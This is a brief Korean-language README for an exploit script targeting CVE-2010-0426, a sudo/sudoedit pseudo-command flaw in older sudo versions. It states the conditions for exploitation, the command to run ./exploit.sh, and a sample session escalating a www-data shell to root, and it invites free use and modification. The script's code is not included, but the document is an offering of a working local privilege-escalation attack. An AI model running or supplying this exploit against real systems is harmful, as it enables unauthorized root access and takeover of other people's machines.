
sudo 1.6.x ~ 1.6.9p21 이전 및 1.7.x ~ 1.7.2p4 이전 - sudo 및 sudoedit를 이용한 권한 상승
https://www.cvedetails.com/cve/CVE-2010-0426/
sudo 1.6.x (1.6.9p21 미만) 및 1.7.x (1.7.2p4 미만)에서 pseudo-command가 활성화된 경우, pseudo-command의 이름과 임의 디렉터리에 있는 실행 파일의 이름이 일치하는 것을 허용합니다. 이로 인해 로컬 사용자가 조작된 실행 파일을 통해 권한을 상승시킬 수 있으며, 이는 사용자 홈 디렉터리에 sudoedit라는 파일을 생성하는 방식으로 시연됩니다.
sudoedit 바이너리에 suid 권한이 있고 sudo로 파일을 편집할 수 있을 때 권한 상승 (sudo -l로 확인)
./exploit.sh
낮은 권한의 리버스 셸에서 root로 권한 상승
www-data@g1vi:/var/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@g1vi:/var/tmp$ ./exploit.sh
[+] Target is vulnerable
[+] Running stuff...
root@g1vi:/var/tmp$ id
uid=0(root) gid=0(root) groups=0(root)
언제 어디서든 자유롭게 사용하거나 수정하세요.